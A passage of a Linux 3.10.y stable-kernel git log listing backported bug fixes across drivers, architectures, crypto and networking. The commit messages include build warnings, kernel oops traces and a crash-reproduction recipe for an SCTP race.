ecffc80478cdce122f0ecb6a4e4f909132dd5c47 upstream. The SKB returned from the Intel specific version information command is missing a kfree_skb. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 575c8f99f8f65959fa66ed4746f0a60a95176871 Author: Thomas Petazzoni Date: Tue Jun 9 18:46:58 2015 +0200 pinctrl: mvebu: armada-xp: fix functions of MPP48 commit ea78b9511a54d0de026e04b5da86b30515072f31 upstream. There was a mistake in the definition of the functions for MPP48 on Marvell Armada XP. The second function is dev(clkout), and not tclk. Signed-off-by: Thomas Petazzoni Fixes: 463e270f766a ("pinctrl: mvebu: add pinctrl driver for Armada XP") Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 016053cb8bec7287a30ecb65654503bc452e030e Author: Thomas Petazzoni Date: Tue Jun 9 18:46:57 2015 +0200 pinctrl: mvebu: armada-xp: remove non-existing VDD cpu_pd functions commit 80b3d04feab5e69d51cb2375eb989a7165e43e3b upstream. The latest version of the Armada XP datasheet no longer documents the VDD cpu_pd functions, which might indicate they are not working and/or not supported. This commit ensures the pinctrl driver matches the datasheet. Signed-off-by: Thomas Petazzoni Fixes: 463e270f766a ("pinctrl: mvebu: add pinctrl driver for Armada XP") Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3d25c11fd3230eccbf84247d91d0c655d040fd5e Author: Thomas Petazzoni Date: Tue Jun 9 18:46:56 2015 +0200 pinctrl: mvebu: armada-xp: remove non-existing NAND pins commit bc99357f3690c11817756adfee0ece811a3db2e7 upstream. After updating to a more recent version of the Armada XP datasheet, we realized that some of the pins documented as having a NAND-related functionality in fact did not have such functionality. This commit updates the pinctrl driver accordingly. Signed-off-by: Thomas Petazzoni Fixes: 463e270f766a ("pinctrl: mvebu: add pinctrl driver for Armada XP") Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fa719598b024b156067b35ed2259695c7fcc5249 Author: Thomas Petazzoni Date: Tue Jun 9 18:46:54 2015 +0200 pinctrl: mvebu: armada-370: fix spi0 pin description commit 438881dfddb9107ef0eb30b49368e91e092f0b3e upstream. Due to a mistake, the CS0 and CS1 SPI0 functions were incorrectly named "spi0-1" instead of just "spi0". This commit fixes that. This DT binding change does not affect any of the in-tree users. Signed-off-by: Thomas Petazzoni Fixes: 5f597bb2be57 ("pinctrl: mvebu: add pinctrl driver for Armada 370") Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 023f0d74b8192bb0b5890126fdc441051a668b7e Author: Uwe Kleine-König Date: Thu May 28 10:22:10 2015 +0200 mtd: dc21285: use raw spinlock functions for nw_gpio_lock commit e5babdf928e5d0c432a8d4b99f20421ce14d1ab6 upstream. Since commit bd31b85960a7 (which is in 3.2-rc1) nw_gpio_lock is a raw spinlock that needs usage of the corresponding raw functions. This fixes: drivers/mtd/maps/dc21285.c: In function 'nw_en_write': drivers/mtd/maps/dc21285.c:41:340: warning: passing argument 1 of 'spinlock_check' from incompatible pointer type spin_lock_irqsave(&nw_gpio_lock, flags); In file included from include/linux/seqlock.h:35:0, from include/linux/time.h:5, from include/linux/stat.h:18, from include/linux/module.h:10, from drivers/mtd/maps/dc21285.c:8: include/linux/spinlock.h:299:102: note: expected 'struct spinlock_t *' but argument is of type 'struct raw_spinlock_t *' static inline raw_spinlock_t *spinlock_check(spinlock_t *lock) ^ drivers/mtd/maps/dc21285.c:43:25: warning: passing argument 1 of 'spin_unlock_irqrestore' from incompatible pointer type spin_unlock_irqrestore(&nw_gpio_lock, flags); ^ In file included from include/linux/seqlock.h:35:0, from include/linux/time.h:5, from include/linux/stat.h:18, from include/linux/module.h:10, from drivers/mtd/maps/dc21285.c:8: include/linux/spinlock.h:370:91: note: expected 'struct spinlock_t *' but argument is of type 'struct raw_spinlock_t *' static inline void spin_unlock_irqrestore(spinlock_t *lock, unsigned long flags) Fixes: bd31b85960a7 ("locking, ARM: Annotate low level hw locks as raw") Signed-off-by: Uwe Kleine-König Signed-off-by: Brian Norris Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e47c51c6db83b914d251ed8cfc26a467bdf64ed3 Author: Brian Norris Date: Thu May 7 17:55:16 2015 -0700 mtd: fix: avoid race condition when accessing mtd->usecount commit 073db4a51ee43ccb827f54a4261c0583b028d5ab upstream. On A MIPS 32-cores machine a BUG_ON was triggered because some acesses to mtd->usecount were done without taking mtd_table_mutex. kernel: Call Trace: kernel: [] __put_mtd_device+0x20/0x50 kernel: [] blktrans_release+0x8c/0xd8 kernel: [] __blkdev_put+0x1a8/0x200 kernel: [] blkdev_close+0x1c/0x30 kernel: [] __fput+0xac/0x250 kernel: [] task_work_run+0xd8/0x120 kernel: [] work_notifysig+0x10/0x18 kernel: kernel: Code: 2442ffff ac8202d8 000217fe <00020336> dc820128 10400003 00000000 0040f809 00000000 kernel: ---[ end trace 080fbb4579b47a73 ]--- Fixed by taking the mutex in blktrans_open and blktrans_release. Note that this locking is already suggested in include/linux/mtd/blktrans.h: struct mtd_blktrans_ops { ... /* Called with mtd_table_mutex held; no race with add/remove */ int (*open)(struct mtd_blktrans_dev *dev); void (*release)(struct mtd_blktrans_dev *dev); ... }; But we weren't following it. Originally reported by (and patched by) Zhang and Giuseppe, independently. Improved and rewritten. Reported-by: Zhang Xingcai Reported-by: Giuseppe Cantavenera Tested-by: Giuseppe Cantavenera Acked-by: Alexander Sverdlin Signed-off-by: Brian Norris Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fa0c2003fb43369ae401756952a4342b8aab1ebc Author: Ezequiel Garcia Date: Mon May 11 12:20:18 2015 -0300 spi: pl022: Specify 'num-cs' property as required in devicetree binding commit ea6055c46eda1e19e02209814955e13f334bbe1b upstream. Since commit 39a6ac11df65 ("spi/pl022: Devicetree support w/o platform data") the 'num-cs' parameter cannot be passed through platform data when probing with devicetree. Instead, it's a required devicetree property. Fix the binding documentation so the property is properly specified. Fixes: 39a6ac11df65 ("spi/pl022: Devicetree support w/o platform data") Signed-off-by: Ezequiel Garcia Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8fa945de57a070abdb5c53770284c2a42390df0e Author: Stefan Wahren Date: Tue Jun 9 20:09:42 2015 +0000 regulator: core: fix constraints output buffer commit a7068e3932eee8268c4ce4e080a338ee7b8a27bf upstream. The buffer for condtraints debug isn't big enough to hold the output in all cases. So fix this issue by increasing the buffer. Signed-off-by: Stefan Wahren Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b9f8ca9905a30fdabc0d7af320eba833d76a79b4 Author: Arun Chandran Date: Mon Jun 15 15:59:02 2015 +0530 regmap: Fix regmap_bulk_read in BE mode commit 15b8d2c41fe5839582029f65c5f7004db451cc2b upstream. In big endian mode regmap_bulk_read gives incorrect data for byte reads. This is because memcpy of a single byte from an address after full word read gives different results when endianness differs. ie. we get little-end in LE and big-end in BE. Signed-off-by: Arun Chandran Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dd0addd587930a57a665157f24dd0d576f4ae0e3 Author: Rafael J. Wysocki Date: Thu May 1 00:14:04 2014 +0200 cpuidle / menu: Return (-1) if there are no suitable states commit 3836785a1bdcd6706c68ad46bf53adc0b057b310 upstream. If there is a PM QoS latency limit and all of the sufficiently shallow C-states are disabled, the cpuidle menu governor returns 0 which on some systems is CPUIDLE_DRIVER_STATE_START and shouldn't be returned if that C-state has been disabled. Fix the issue by modifying the menu governor to return (-1) in such situations. Signed-off-by: Rafael J. Wysocki [shilpab: Backport to 3.10.y - adjust context - add a check if 'next_state' is less than 0 in 'cpuidle_idle_call()', this ensures that we exit 'cpuidle_idle_call()' if governor->select() returns negative value] Signed-off-by: Shilpasri G Bhat Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ac834b1e77b8ea492d0dd380dbb5340773f168ee Author: Will Deacon Date: Fri Jun 19 13:56:33 2015 +0100 arm64: vdso: work-around broken ELF toolchains in Makefile commit 6f1a6ae87c0c60d7c462ef8fd071f291aa7a9abb upstream. When building the kernel with a bare-metal (ELF) toolchain, the -shared option may not be passed down to collect2, resulting in silent corruption of the vDSO image (in particular, the DYNAMIC section is omitted). The effect of this corruption is that the dynamic linker fails to find the vDSO symbols and libc is instead used for the syscalls that we intended to optimise (e.g. gettimeofday). Functionally, there is no issue as the sigreturn trampoline is still intact and located by the kernel. This patch fixes the problem by explicitly passing -shared to the linker when building the vDSO. Reported-by: Szabolcs Nagy Reported-by: James Greenlaigh Signed-off-by: Will Deacon Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 379c7eabf1562c4ebc4d7cf3ee4e6fce2c01d3ab Author: Dave P Martin Date: Tue Jun 16 17:38:47 2015 +0100 arm64: mm: Fix freeing of the wrong memmap entries with !SPARSEMEM_VMEMMAP commit b9bcc919931611498e856eae9bf66337330d04cc upstream. The memmap freeing code in free_unused_memmap() computes the end of each memblock by adding the memblock size onto the base. However, if SPARSEMEM is enabled then the value (start) used for the base may already have been rounded downwards to work out which memmap entries to free after the previous memblock. This may cause memmap entries that are in use to get freed. In general, you're not likely to hit this problem unless there are at least 2 memblocks and one of them is not aligned to a sparsemem section boundary. Note that carve-outs can increase the number of memblocks by splitting the regions listed in the device tree. This problem doesn't occur with SPARSEMEM_VMEMMAP, because the vmemmap code deals with freeing the unused regions of the memmap instead of requiring the arch code to do it. This patch gets the memblock base out of the memblock directly when computing the block end address to ensure the correct value is used. Signed-off-by: Dave Martin Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6acfba4522483626021b02940aed8637f63ad59f Author: Catalin Marinas Date: Fri Jun 12 11:24:41 2015 +0100 arm64: Do not attempt to use init_mm in reset_context() commit 565630d503ef24e44c252bed55571b3a0d68455f upstream. After secondary CPU boot or hotplug, the active_mm of the idle thread is &init_mm. The init_mm.pgd (swapper_pg_dir) is only meant for TTBR1_EL1 and must not be set in TTBR0_EL1. Since when active_mm == &init_mm the TTBR0_EL1 is already set to the reserved value, there is no need to perform any context reset. Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7cb800d5455218d413e7c634feb52ebc323498f Author: Vineet Gupta Date: Thu Nov 13 15:54:01 2014 +0530 ARC: add compiler barrier to LLSC based cmpxchg commit d57f727264f1425a94689bafc7e99e502cb135b5 upstream. When auditing cmpxchg call sites, Chuck noted that gcc was optimizing away some of the desired LDs. | do { | new = old = *ipi_data_ptr; | new |= 1U << msg; | } while (cmpxchg(ipi_data_ptr, old, new) != old); was generating to below | 8015cef8: ld r2,[r4,0] <-- First LD | 8015cefc: bset r1,r2,r1 | | 8015cf00: llock r3,[r4] <-- atomic op | 8015cf04: brne r3,r2,8015cf10 | 8015cf08: scond r1,[r4] | 8015cf0c: bnz 8015cf00 | | 8015cf10: brne r3,r2,8015cf00 <-- Branch doesn't go to orig LD Although this was fixed by adding a ACCESS_ONCE in this call site, it seems safer (for now at least) to add compiler barrier to LLSC based cmpxchg Reported-by: Chuck Jordan Acked-by: Peter Zijlstra (Intel) Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 038e4c91fc2eed6e0e049b9f4ee1166e898468da Author: Takashi Iwai Date: Mon Jun 29 08:38:02 2015 +0200 ALSA: hda - Fix the dock headphone output on Fujitsu Lifebook E780 commit 4df3fd1700abbb53bd874143dfd1f9ac9e7cbf4b upstream. Fujitsu Lifebook E780 sets the sequence number 0x0f to only only of the two headphones, thus the driver tries to assign another as the line-out, and this results in the inconsistent mapping between the created jack ctl and the actual I/O. Due to this, PulseAudio doesn't handle it properly and gets the silent output. The fix is to ignore the non-HP sequencer checks. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=99681 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8cea5ec40d7bfd619a57130e6064dfb1c9f7fb64 Author: Takashi Iwai Date: Sat Jun 27 10:21:13 2015 +0200 ALSA: hda - Add headset support to Acer Aspire V5 commit 7819717b11346b8a5420b223b46600e394049c66 upstream. Acer Aspire V5 with ALC282 codec needs the similar quirk like Dell laptops to support the headset mic. The headset mic pin is 0x19 and it's not exposed by BIOS, thus we need to fix the pincfg as well. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=96201 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 068777ef19c4664892855e8820781ebb8748e670 Author: Ryan Underwood Date: Sun Jan 25 16:07:09 2015 -0800 Disable write buffering on Toshiba ToPIC95 commit 2fb22a8042fe96b4220843f79241c116d90922c4 upstream. Disable write buffering on the Toshiba ToPIC95 if it is enabled by somebody (it is not supposed to be a power-on default according to the datasheet). On the ToPIC95, practically no 32-bit Cardbus card will work under heavy load without locking up the whole system if this is left enabled. I tried about a dozen. It does not affect 16-bit cards. This is similar to the O2 bugs in early controller revisions it seems. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=55961 Signed-off-by: Ryan C. Underwood Signed-off-by: Dominik Brodowski Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4d57a537ea0ceeabefd94d69c5560b88b6e6832b Author: Brian King Date: Wed May 13 08:50:27 2015 -0500 ipr: Increase default adapter init stage change timeout commit 45c44b5ff9caa743ed9c2bfd44307c536c9caf1e upstream. Increase the default init stage change timeout from 15 seconds to 30 seconds. This resolves issues we have seen with some adapters not transitioning to the first init stage within 15 seconds, which results in adapter initialization failures. Signed-off-by: Brian King Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fddf25c971b61427598efbf60c3635746a37930f Author: Greg Kroah-Hartman Date: Fri Jul 10 10:40:38 2015 -0700 Linux 3.10.84 Signed-off-by: Pranav Vashi commit 48704b2bd85ef7e9d4ca2946475497b2ab006695 Author: Jan Kara Date: Thu May 21 16:05:52 2015 +0200 fs: Fix S_NOSEC handling commit 2426f3910069ed47c0cc58559a6d088af7920201 upstream. file_remove_suid() could mistakenly set S_NOSEC inode bit when root was modifying the file. As a result following writes to the file by ordinary user would avoid clearing suid or sgid bits. Fix the bug by checking actual mode bits before setting S_NOSEC. Signed-off-by: Jan Kara Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 84d7362d783c93feac5d72fc6a4248fe6b5c5d0c Author: Radim KrÄmář Date: Wed Jul 1 15:31:49 2015 +0200 KVM: x86: make vapics_in_nmi_mode atomic commit 42720138b06301cc8a7ee8a495a6d021c4b6a9bc upstream. Writes were a bit racy, but hard to turn into a bug at the same time. (Particularly because modern Linux doesn't use this feature anymore.) Signed-off-by: Radim KrÄmář [Actually the next patch makes it much, much easier to trigger the race so I'm including this one for stable@ as well. - Paolo] Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 97dd9ec7359164aa6a2facfdf5ce58d524a7dbad Author: James Hogan Date: Mon Apr 27 15:07:16 2015 +0100 MIPS: Fix KVM guest fixmap address commit 8e748c8d09a9314eedb5c6367d9acfaacddcdc88 upstream. KVM guest kernels for trap & emulate run in user mode, with a modified set of kernel memory segments. However the fixmap address is still in the normal KSeg3 region at 0xfffe0000 regardless, causing problems when cache alias handling makes use of them when handling copy on write. Therefore define FIXADDR_TOP as 0x7ffe0000 in the guest kernel mapped region when CONFIG_KVM_GUEST is defined. Signed-off-by: James Hogan Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/9887/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6526ad1f8f2cffa5ee16784e226aba14b1a6ebe6 Author: Bjorn Helgaas Date: Tue Jun 9 18:54:07 2015 -0500 x86/PCI: Use host bridge _CRS info on Foxconn K8M890-8237A commit 1dace0116d0b05c967d94644fc4dfe96be2ecd3d upstream. The Foxconn K8M890-8237A has two PCI host bridges, and we can't assign resources correctly without the information from _CRS that tells us which address ranges are claimed by which bridge. In the bugs mentioned below, we incorrectly assign a sound card address (this example is from 1033299): bus: 00 index 2 [mem 0x80000000-0xfcffffffff] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-7f]) pci_root PNP0A08:00: host bridge window [mem 0x80000000-0xbfefffff] (ignored) pci_root PNP0A08:00: host bridge window [mem 0xc0000000-0xdfffffff] (ignored) pci_root PNP0A08:00: host bridge window [mem 0xf0000000-0xfebfffff] (ignored) ACPI: PCI Root Bridge [PCI1] (domain 0000 [bus 80-ff]) pci_root PNP0A08:01: host bridge window [mem 0xbff00000-0xbfffffff] (ignored) pci 0000:80:01.0: [1106:3288] type 0 class 0x000403 pci 0000:80:01.0: reg 10: [mem 0xbfffc000-0xbfffffff 64bit] pci 0000:80:01.0: address space collision: [mem 0xbfffc000-0xbfffffff 64bit] conflicts with PCI Bus #00 [mem 0x80000000-0xfcffffffff] pci 0000:80:01.0: BAR 0: assigned [mem 0xfd00000000-0xfd00003fff 64bit] BUG: unable to handle kernel paging request at ffffc90000378000 IP: [] azx_create+0x37c/0x822 [snd_hda_intel] We assigned 0xfd_0000_0000, but that is not in any of the host bridge windows, and the sound card doesn't work. Turn on pci=use_crs automatically for this system. Link: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/931368 Link: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1033299 Signed-off-by: Bjorn Helgaas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 65ecf2ace8b4006a2fa62b65577388deb5688035 Author: Anton Blanchard Date: Tue May 26 15:10:24 2015 +1000 powerpc/perf: Fix book3s kernel to userspace backtraces commit 72e349f1124a114435e599479c9b8d14bfd1ebcd upstream. When we take a PMU exception or a software event we call perf_read_regs(). This overloads regs->result with a boolean that describes if we should use the sampled instruction address register (SIAR) or the regs. If the exception is in kernel, we start with the kernel regs and backtrace through the kernel stack. At this point we switch to the userspace regs and backtrace the user stack with perf_callchain_user(). Unfortunately these regs have not got the perf_read_regs() treatment, so regs->result could be anything. If it is non zero, perf_instruction_pointer() decides to use the SIAR, and we get issues like this: 0.11% qemu-system-ppc [kernel.kallsyms] [k] _raw_spin_lock_irqsave | ---_raw_spin_lock_irqsave | |--52.35%-- 0 | | | |--46.39%-- __hrtimer_start_range_ns | | kvmppc_run_core | | kvmppc_vcpu_run_hv | | kvmppc_vcpu_run | | kvm_arch_vcpu_ioctl_run | | kvm_vcpu_ioctl | | do_vfs_ioctl | | sys_ioctl | | system_call | | | | | |--67.08%-- _raw_spin_lock_irqsave <--- hi mum | | | | | | | --100.00%-- 0x7e714 | | | 0x7e714 Notice the bogus _raw_spin_irqsave when we transition from kernel (system_call) to userspace (0x7e714). We inserted what was in the SIAR. Add a check in regs_use_siar() to check that the regs in question are from a PMU exception. With this fix the backtrace makes sense: 0.47% qemu-system-ppc [kernel.vmlinux] [k] _raw_spin_lock_irqsave | ---_raw_spin_lock_irqsave | |--53.83%-- 0 | | | |--44.73%-- hrtimer_try_to_cancel | | kvmppc_start_thread | | kvmppc_run_core | | kvmppc_vcpu_run_hv | | kvmppc_vcpu_run | | kvm_arch_vcpu_ioctl_run | | kvm_vcpu_ioctl | | do_vfs_ioctl | | sys_ioctl | | system_call | | __ioctl | | 0x7e714 | | 0x7e714 Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1ebff8b024ae5de5553a56ab94fb8c2289007c7e Author: Marc Zyngier Date: Mon Mar 16 10:59:43 2015 +0000 arm: KVM: force execution of HCPTR access on VM exit commit 85e84ba31039595995dae80b277378213602891b upstream. On VM entry, we disable access to the VFP registers in order to perform a lazy save/restore of these registers. On VM exit, we restore access, test if we did enable them before, and save/restore the guest/host registers if necessary. In this sequence, the FPEXC register is always accessed, irrespective of the trapping configuration. If the guest didn't touch the VFP registers, then the HCPTR access has now enabled such access, but we're missing a barrier to ensure architectural execution of the new HCPTR configuration. If the HCPTR access has been delayed/reordered, the subsequent access to FPEXC will cause a trap, which we aren't prepared to handle at all. The same condition exists when trapping to enable VFP for the guest. The fix is to introduce a barrier after enabling VFP access. In the vmexit case, it can be relaxed to only takes place if the guest hasn't accessed its view of the VFP registers, making the access to FPEXC safe. The set_hcptr macro is modified to deal with both vmenter/vmexit and vmtrap operations, and now takes an optional label that is branched to when the guest hasn't touched the VFP registers. Reported-by: Vikram Sethi Signed-off-by: Marc Zyngier Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ca4671871815a5002b8ea54a9cf16546fbf906c1 Author: Horia Geant? Date: Mon May 11 20:04:49 2015 +0300 Revert "crypto: talitos - convert to use be16_add_cpu()" commit 69d9cd8c592f1abce820dbce7181bbbf6812cfbd upstream. This reverts commit 7291a932c6e27d9768e374e9d648086636daf61c. The conversion to be16_add_cpu() is incorrect in case cryptlen is negative due to premature (i.e. before addition / subtraction) implicit conversion of cryptlen (int -> u16) leading to sign loss. Cc: Wei Yongjun Signed-off-by: Horia Geanta Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9575fbdbb37aadfb3e1d886e1edb030fef77dc97 Author: Horia Geant? Date: Mon May 11 20:03:24 2015 +0300 crypto: talitos - avoid memleak in talitos_alg_alloc() commit 5fa7dadc898567ce14d6d6d427e7bd8ce6eb5d39 upstream. Fixes: 1d11911a8c57 ("crypto: talitos - fix warning: 'alg' may be used uninitialized in this function") Signed-off-by: Horia Geanta Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d1da87ba1e5111a2ba0e5d5a93ec9a2ef712c870 Author: Alexander Sverdlin Date: Mon Jun 29 10:41:03 2015 +0200 sctp: Fix race between OOTB responce and route removal [ Upstream commit 29c4afc4e98f4dc0ea9df22c631841f9c220b944 ] There is NULL pointer dereference possible during statistics update if the route used for OOTB responce is removed at unfortunate time. If the route exists when we receive OOTB packet and we finally jump into sctp_packet_transmit() to send ABORT, but in the meantime route is removed under our feet, we take "no_route" path and try to update stats with IP_INC_STATS(sock_net(asoc->base.sk), ...). But sctp_ootb_pkt_new() used to prepare responce packet doesn't call sctp_transport_set_owner() and therefore there is no asoc associated with this packet. Probably temporary asoc just for OOTB responces is overkill, so just introduce a check like in all other places in sctp_packet_transmit(), where "asoc" is dereferenced. To reproduce this, one needs to 0. ensure that sctp module is loaded (otherwise ABORT is not generated) 1. remove default route on the machine 2. while true; do ip route del [interface-specific route] ip route add [interface-specific route] done 3. send enough OOTB packets (i.e. HB REQs) from another host to trigger ABORT responce On x86_64 the crash looks like this: BUG: unable to handle kernel NULL pointer dereference at 0000000000000020 IP: [] sctp_packet_transmit+0x63c/0x730 [sctp] PGD 0 Oops: 0000 [#1] PREEMPT SMP Modules linked in: ... CPU: 0 PID: 0 Comm: swapper/0 Tainted: G O 4.0.5-1-ARCH #1 Hardware name: ... task: ffffffff818124c0 ti: ffffffff81800000 task.ti: ffffffff81800000 RIP: 0010:[] [] sctp_packet_transmit+0x63c/0x730 [sctp] RSP: 0018:ffff880127c037b8 EFLAGS: 00010296 RAX: 0000000000000000 RBX: 0000000000000000 RCX: 00000015ff66b480 RDX: 00000015ff66b400 RSI: ffff880127c17200 RDI: ffff880123403700 RBP: ffff880127c03888 R08: 0000000000017200 R09: ffffffff814625af R10: ffffea00047e4680 R11: 00000000ffffff80 R12: ffff8800b0d38a28 R13: ffff8800b0d38a28 R14: ffff8800b3e88000 R15: ffffffffa05f24e0 FS: 0000000000000000(0000) GS:ffff880127c00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 0000000000000020 CR3: 00000000c855b000 CR4: 00000000000007f0 Stack: ffff880127c03910 ffff8800b0d38a28 ffffffff8189d240 ffff88011f91b400 ffff880127c03828 ffffffffa05c94c5 0000000000000000 ffff8800baa1c520 0000000000000000 0000000000000001 0000000000000000 0000000000000000 Call Trace: [] ? sctp_sf_tabort_8_4_8.isra.20+0x85/0x140 [sctp] [] ? sctp_transport_put+0x52/0x80 [sctp] [] sctp_do_sm+0xb8c/0x19a0 [sctp] [] ? trigger_load_balance+0x90/0x210 [] ? update_process_times+0x59/0x60 [] ? timerqueue_add+0x60/0xb0 [] ? enqueue_hrtimer+0x29/0xa0 [] ? read_tsc+0x9/0x10 [] ? put_page+0x55/0x60 [] ? clockevents_program_event+0x6d/0x100 [] ? skb_free_head+0x58/0x80 [] ? chksum_update+0x1b/0x27 [crc32c_generic] [] ? crypto_shash_update+0xce/0xf0 [] sctp_endpoint_bh_rcv+0x113/0x280 [sctp] [] sctp_inq_push+0x46/0x60 [sctp] [] sctp_rcv+0x880/0x910 [sctp] [] ? sctp_packet_transmit_chunk+0xb0/0xb0 [sctp] [] ? sctp_csum_update+0x20/0x20 [sctp] [] ? ip_route_input_noref+0x235/0xd30 [] ? ack_ioapic_level+0x7b/0x150 [] ip_local_deliver_finish+0xae/0x210 [] ip_local_deliver+0x35/0x90 [] ip_rcv_finish+0xf5/0x370 [] ip_rcv+0x2b8/0x3a0 [] __netif_receive_skb_core+0x763/0xa50 [] __netif_receive_skb+0x18/0x60 [] netif_receive_skb_internal+0x40/0xd0 [] napi_gro_receive+0xe8/0x120 [] rtl8169_poll+0x2da/0x660 [r8169] [] net_rx_action+0x21a/0x360 [] __do_softirq+0xe1/0x2d0 [] irq_exit+0xad/0xb0 [] do_IRQ+0x58/0xf0 [] common_interrupt+0x6d/0x6d [] ? hrtimer_start+0x18/0x20 [] ? sctp_transport_destroy_rcu+0x29/0x30 [sctp] [] ? mwait_idle+0x60/0xa0 [] arch_cpu_idle+0xf/0x20 [] cpu_startup_entry+0x3ec/0x480 [] rest_init+0x85/0x90 [] start_kernel+0x48b/0x4ac [] ? early_idt_handlers+0x120/0x120 [] x86_64_start_reservations+0x2a/0x2c [] x86_64_start_kernel+0x161/0x184 Code: 90 48 8b 80 b8 00 00 00 48 89 85 70 ff ff ff 48 83 bd 70 ff ff ff 00 0f 85 cd fa ff ff 48 89 df 31 db e8 18 63 e7 e0 48 8b 45 80 <48> 8b 40 20 48 8b 40 30 48 8b 80 68 01 00 00 65 48 ff 40 78 e9 RIP [] sctp_packet_transmit+0x63c/0x730 [sctp] RSP CR2: 0000000000000020 ---[ end trace 5aec7fd2dc983574 ]--- Kernel panic - not syncing: Fatal exception in interrupt Kernel Offset: 0x0 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffff9fffffff) drm_kms_helper: panic occurred, switching back to text console ---[ end Kernel panic - not syncing: Fatal exception in interrupt Signed-off-by: Alexander Sverdlin Acked-by: Neil Horman Acked-by: Marcelo Ricardo Leitner Acked-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6117ff4ac46e67a7d2727150127ceb3ec3c7c3c0 Author: Willem de Bruijn Date: Wed Jun 17 15:59:34 2015 -0400 packet: avoid out of bounds read in round robin fanout [ Upstream commit 468479e6043c84f5a65299cc07cb08a22a28c2b1 ] PACKET_FANOUT_LB computes f->rr_cur such that it is modulo f->num_members. It returns the old value unconditionally, but f->num_members may have changed since the last store. Ensure that the return value is always < num. When modifying the logic, simplify it further by replacing the loop with an unconditional atomic increment. Fixes: dc99f600698d ("packet: Add fanout support.") Suggested-by: Eric Dumazet Signed-off-by: Willem de Bruijn Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1ee18e42b83ac4e887fa5557b8c37bc30b759f7a Author: Eric Dumazet Date: Tue Jun 16 07:59:11 2015 -0700 packet: read num_members once in packet_rcv_fanout() [ Upstream commit f98f4514d07871da7a113dd9e3e330743fd70ae4 ] We need to tell compiler it must not read f->num_members multiple times. Otherwise testing if num is not zero is flaky, and we could attempt an invalid divide by 0 in fanout_demux_cpu() Note bug was present in packet_rcv_fanout_hash() and packet_rcv_fanout_lb() but final 3.1 had a simple location after commit 95ec3eb417115fb ("packet: Add 'cpu' fanout policy.") Fixes: dc99f600698dc ("packet: Add fanout support.") Signed-off-by: Eric Dumazet Cc: Willem de Bruijn Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f9799bacd78772d5fde3394fcf963af3859d7b9a Author: Nikolay Aleksandrov Date: Mon Jun 15 20:28:51 2015 +0300 bridge: fix br_stp_set_bridge_priority race conditions [ Upstream commit 2dab80a8b486f02222a69daca6859519e05781d9 ] After the ->set() spinlocks were removed br_stp_set_bridge_priority was left running without any protection when used via sysfs. It can race with port add/del and could result in use-after-free cases and corrupted lists. Tested by running port add/del in a loop with stp enabled while setting priority in a loop, crashes are easily reproducible. The spinlocks around sysfs ->set() were removed in commit: 14f98f258f19 ("bridge: range check STP parameters") There's also a race condition in the netlink priority support that is fixed by this change, but it was introduced recently and the fixes tag covers it, just in case it's needed the commit is: af615762e972 ("bridge: add ageing_time, stp_state, priority over netlink") Signed-off-by: Nikolay Aleksandrov Fixes: 14f98f258f19 ("bridge: range check STP parameters") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 